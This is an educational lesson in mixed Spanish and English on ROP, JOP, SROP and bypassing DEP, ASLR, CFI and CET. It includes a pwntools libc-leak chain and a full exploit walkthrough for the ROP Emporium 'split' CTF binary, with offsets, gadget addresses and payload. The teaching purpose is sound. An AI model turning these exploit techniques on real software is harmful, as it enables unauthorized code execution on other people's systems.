ROP, JOP y binary exploitation: bypass DEP, ASLR, CFI y CET en 2026

Return-Oriented Programming (ROP) y sus variantes son la técnica fundamental del binary exploitation moderno desde que DEP (Data Execution Prevention) hizo imposibles los stack shellcodes clásicos. En vez de inyectar código ejecutable, ROP encadena "gadgets" —secuencias cortas de instrucciones existentes en el binario o librerías cargadas que terminan en ret— construyendo program flow arbitrario usando solo bytes legítimos. La elegancia conceptual (y el reto técnico) hicieron ROP la lingua franca de exploit development desde 2007 (Hovav Shacham's paper). En 2026, defenses como CFI (Control Flow Integrity) y CET (Control-flow Enforcement Technology) con shadow stacks fuerzan evolution hacia JOP (Jump-Oriented Programming), SROP (Signal Return), COP (Call-Oriented), y data-only attacks.

Esta lección cubre el fundamentos (stack layout, return addresses, DEP/ASLR), construcción de ROP chains con pwntools + ROPgadget, variants modernas, defenses 2026 (CFI, CET shadow stack, Intel IBT), y canonical bypass techniques. Es la tercera lección de la Tanda 7, profundizando en binary exploitation para quien completó la previa de kernel exploits.

Binary exploitation en own binaries o CTF challenges. No contra production software ajeno sin authorization explícita de vendor.

El problema que ROP resuelve#

Era pre-DEP (pre-2004 aprox):

• Stack buffer overflow sobreescribía return address.
• Jump to injected shellcode en stack.
• Execution direct.

Introducido DEP (NX bit, hardware feature):

• Stack marked non-executable.
• Shellcode on stack fails on execute.
• Classic exploits dead.

ROP solution (2007):

• Don't inject code; reuse existing code.
• Find short instruction sequences ending ret ("gadgets") en binary/libraries.
• Chain gadgets via stack: each gadget's ret pops next address.
• Effective Turing-complete execution.

Gadget examples:

0x400a12: pop rdi; ret      ; sets RDI to next stack value
0x400b34: pop rsi; ret      ; sets RSI
0x400c56: syscall; ret      ; invokes kernel

Stack construct (sent via overflow):

[padding] [addr pop_rdi] [arg1] [addr pop_rsi] [arg2] [addr syscall]

Execution: ret pops addr pop_rdi → executes pop rdi; ret → pops arg1 into RDI → ret pops addr pop_rsi → ... → eventually syscall executed con RDI=arg1, RSI=arg2.

Full exploit: typically call execve("/bin/sh", NULL, NULL) o mprotect + jump al shellcode.

Variants modernas#

JOP (Jump-Oriented Programming)#

Uses gadgets ending jmp reg instead of ret. Doesn't rely en stack. Useful cuando shadow stack blocks ROP (CET).

SROP (Sigreturn-Oriented)#

Linux sigreturn syscall restores full CPU context from stack. Attacker crafts fake signal frame, calls sigreturn, controls all registers at once. Elegant + powerful.

COP (Call-Oriented)#

Uses call instructions. Different signature, bypasses some CFI defenses.

Data-only attacks#

Never hijack control flow. Instead modify critical data (function pointers, uid, config). Harder to detect, bypass CFI entirely.

ASLR bypass#

ASLR (Address Space Layout Randomization): randomizes library/stack/heap addresses at process load. Makes ROP addresses unpredictable.

Bypass critical: find info leak:

• Format string: printf(user_input) leaks stack contents.
• Uninitialized memory: struct fields not zeroed, leak previous values.
• Out-of-bounds read: array index past end returns kernel memory.
• Timing attacks: branch prediction reveals addresses.
• Partial overwrite: overwrite low bytes only (randomized high bytes stay valid).

Modern exploit = 2 stages: leak + ROP chain.

Defensas 2026#

DEP / NX#

Hardware. Pervasive since ~2005.

ASLR / PIE (Position Independent Executable)#

Process + libraries randomized. Full ASLR requires PIE binary.

Stack canaries#

Random values before return addresses. Overflow typically overwrites canary, detected.

Bypass: leak canary first, write preserving canary.

CFI (Control Flow Integrity)#

Indirect calls restricted to valid targets. Microsoft CFG (Control Flow Guard), xFG (extended). LLVM CFI. Linux Clang CFI, Kernel CFI.

Bypass: data-only, JOP sometimes.

CET (Intel Control-flow Enforcement Technology)#

Hardware (Tiger Lake+ 2020). Features:

• Shadow Stack (SHSTK): duplicate stack con return addresses verified.
• Indirect Branch Tracking (IBT): endbr64 required at indirect call targets.

Breaks ROP completamente if shadow stack active. JOP bypasses IBT if gadgets start con endbr64.

OS support: Windows 10 20H1+, Linux 5.15+. Gradually mandatory in new deployments.

ASAN, UBSAN, MSAN#

Compile-time sanitizers detecting UAF, OOB, uninit. Used en development; not production (overhead).

Modern exploit toolkit#

pwntools#

Python framework for exploit dev:

from pwn import *

# Context
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

# Find binary
elf = ELF('./target')
libc = ELF('./libc.so.6')

# ROP chain
rop = ROP(elf)
rop.raw(b'A' * 40)              # padding
rop.puts(elf.got.puts)          # leak libc address
rop.main()                       # return to vuln

# Interact
p = process('./target')
p.sendline(rop.chain())
p.recvline()                     # consume output
leak = u64(p.recv(6).ljust(8, b'\x00'))
libc.address = leak - libc.sym.puts
# Second stage con libc base known

Standard para CTFs y exploit dev.

ROPgadget / ropper#

Find gadgets in binary:

ROPgadget --binary ./target --only "pop|ret" | grep "rdi"
# Lists all "pop rdi; ret"-style gadgets

angr#

Symbolic execution: path exploration, constraint solving. Automates finding inputs triggering specific states.

GDB + extensions#

• pwndbg: enhanced for exploit dev.
• GEF: similar features.
• Peda: Python exploit dev assistant.

Essential para dynamic analysis.

IDA Pro / Ghidra / Binary Ninja#

Static disassemblers. Analyze target binary, identify vulnerabilities, locate gadgets.

one_gadget#

Finds libc "one gadgets": single addresses yielding shell via execve("/bin/sh"). Convenient when applicable:

one_gadget ./libc.so.6
# Lists addresses + constraints

Heap exploitation#

Beyond stack, heap bugs are critical. Classic:

• Use-After-Free: dangling pointer reuse.
• Double free: free same chunk twice.
• Heap overflow: overflow into adjacent chunk metadata.
• Fastbin dup: glibc fastbin specific.

Modern glibc hardening makes classic techniques harder. Yet advanced techniques (House of Botcake, House of Mind variants) continue working for CTFs y motivated attackers.

how2heap (shellphish) repo documents canonical techniques.

CTF entry points#

Learning progression:

• pwnable.kr: beginner-friendly challenges.
• pwn.college: ASU course free.
• ROP Emporium: focused ROP challenges.
• picoCTF: competitions con exploitation category.
• hackthebox: harder challenges, realistic scenarios.

Expect months of focused study to reach competitive CTF level.

Walkthrough: ROP challenge canónico#

Para fijar el patrón, resolver challenge ROP Emporium level 2 (split64):

Setup:

checksec ./split
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE

No canary (clearly), no PIE (addresses static), NX (no stack shellcode). Goal: call system("/bin/cat flag.txt") chain.

Step 1 - identify offset:

from pwn import *
p = process('./split')
p.sendline(cyclic(100))  # unique pattern
p.wait()
core = Coredump('./core')
offset = cyclic_find(core.read(core.rsp, 8))  # Returns 40

Step 2 - find gadgets + target:

ROPgadget --binary ./split --only "pop|ret" | grep "rdi"
# 0x4007c3: pop rdi; ret

# Find system address
objdump -d ./split | grep system
# 0x40074b: system@plt

# Find /bin/cat flag.txt string
strings -a -t x ./split | grep "cat flag"
# 0x601060: /bin/cat flag.txt

Step 3 - build ROP chain:

payload  = b'A' * 40                     # padding
payload += p64(0x4007c3)                 # pop rdi; ret
payload += p64(0x601060)                 # "/bin/cat flag.txt"
payload += p64(0x40074b)                 # system@plt

p = process('./split')
p.sendline(payload)
print(p.recv())
# flag{...}

Simple pero illustrativo. Real exploits involve ASLR bypass, canaries, CFI bypass, mucho más complex.

Preguntas frecuentes#

¿ROP sigue relevante en 2026?#

Yes, pero evolved. CET shadow stack kills classic ROP on new hardware. Pero: not all hardware has CET; data-only attacks remain; JOP + variants continue.

¿Rust elimina estas vulnerabilities?#

Dramatically reduces. Memory safety (ownership, borrow checker) eliminates UAF, buffer overflows. Pero unsafe blocks can still have bugs; FFI boundary vulnerable. Not silver bullet.

¿Cómo empiezo?#

Learn C + x86-64 assembly. Do ROP Emporium. Read Phrack. Attend Pwn2Own writeups. Patience: this is years, not weeks.

¿Browser exploitation similar?#

Related. Browser exploits (V8, SpiderMonkey) use similar primitives: type confusions, UAFs, heap attacks. Plus sandbox escapes. Higher complexity, higher pays.

¿Linux vs Windows binary exploitation?#

Both similar fundamentals. Windows: PE format, different mitigations. Linux: ELF, glibc idiosyncrasies. Skills transferable.

¿Dónde practico?#

El laboratorio red-hat de whoami-labs incluye deliberately vulnerable binaries CTF-style: buffer overflows classic, format strings, heap UAFs. Progression de simple a complex con ROP chains.

¿CTF scores matter para carrera?#

Yes significantly. CTFtime rating + CTF team participation signal technical ability. Top teams (DEFCON finalists, HITCON) recruit heavy.

¿Browser exploit development income?#

Very high. Single Chrome RCE 0-day: 300k-1M USD. Full chain (bypass sandbox, kernel): 500k-3M USD. Requires years specialization.

¿Formal verification applies?#

Yes para critical code. seL4 formally verified microkernel. CompCert verified C compiler. Reduces exploit surface dramatically pero expensive to develop.

¿Research vs offensive distinction?#

Blurry. Same techniques. Research publishes defender-helpful insights; offensive work keeps exploits private o sells. Many move between.

¿Future of binary exploitation?#

Harder but not dead. Hardware mitigations keep arriving. Software attack surface keeps growing. Economic incentives maintain interest. Expect continued cat-and-mouse multi-decade.

Resumen#

• ROP (Return-Oriented Programming): chains existing code "gadgets" ending ret. Bypass DEP.
• Variants: JOP (jmp), SROP (sigreturn), COP (call), data-only.
• ASLR bypass: find infoleak (format string, OOB read, uninit mem).
• Defensas 2026: DEP, ASLR/PIE, canaries, CFI (CFG, xFG), CET shadow stack + IBT.
• Toolkit: pwntools, ROPgadget, angr, pwndbg/GEF, one_gadget.
• Heap exploitation: UAF, double free, fastbin dup, House of X techniques.
• CTF entry: pwn.college, ROP Emporium. Progression multi-year.

Historical casos famosos#

Exploits famosos usando ROP técnicas:

• Stagefright (2015): Android media processor RCE con ROP.
• BROP (Blind ROP): technique discovered by Stanford researchers 2014. ROP sin binary knowledge.
• PegasusHack (NSO Group): iOS kernel exploits incluían sophisticated ROP chains.
• Chrome CVE-2019-5786 FileReader: UAF + ROP en V8 engine.
• EternalBlue (NSA/Shadow Brokers 2017): SMBv1 exploit, kernel-level ROP para SYSTEM.
• Numerous Pwn2Own entries: casi todos browser exploits incluyen ROP components.

Cada caso documentado public con detailed writeups (post-disclosure). Reading these es best training supplement.

Industry perspective#

Industry evolution:

• 2007-2015: ROP dominant. Classic chains. DEP widespread.
• 2015-2020: CFI arrival. Research shifts.
• 2020-2025: CET deployment accelerating. Hardware mitigations win.
• 2025+: Data-only + JOP + hardware bypasses research continues.

Para quien entra ahora, prospect: field consolidating hacia hardware-assisted security. Software-only exploits harder each year. Pero vulnerabilities continue surfacing porque code quality drives complexity.

Carreras viables como: offensive security researcher, security engineer at vendors (Microsoft, Google, Apple), penetration tester specializing en binary targets, independent researcher pursuing bug bounties. Pathways varied, pero depth essential.

Advice práctico para principiantes#

Para quien decide invertir time en aprender binary exploitation profundo:

Enabling environment:

• Linux VM dedicated.
• Patience: literally years.
• Community: Discord servers, CTF teams.
• Regular practice: weekly minimum.

Pitfalls to avoid:

• Skipping fundamentals (assembly, OS internals).
• Jumping to kernel without user-space mastery.
• Ignoring debugging skills (half the work).
• Rushing writeups without actual hands-on.

Resources curated:

• Books: Hacking Art of Exploitation, Shellcoder's Handbook.
• Blogs: Project Zero, LiveOverflow YouTube.
• CTFs: pwnable.kr → ROP Emporium → pwn.college → DEF CON quals.
• Communities: /r/ReverseEngineering, /r/xoreaxeaxeax Discord.

Most practitioners report 3-5 years intensive study before competitive capability. Reward for persistence: specialized skill in genuinely high demand with few qualified practitioners worldwide y strong hiring for those who master it.

La próxima lección entra en fuzzing moderno con AFL, libFuzzer y honggfuzz, herramientas que han transformado el descubrimiento de bugs en 2020-2026 con coverage-guided mutation y feedback-driven exploration automática del espacio de inputs posibles para programas target de forma sistemática y continua durante sesiones largas de pruebas 24x7 continuas en infraestructura dedicada específicamente al effort de research sistemático.

Es inversión computacional alta pero rinde bugs reales en software production critical.

Fuentes y lecturas recomendadas#

• Shacham's ROP paper (2007)
• ROP Emporium
• pwn.college
• how2heap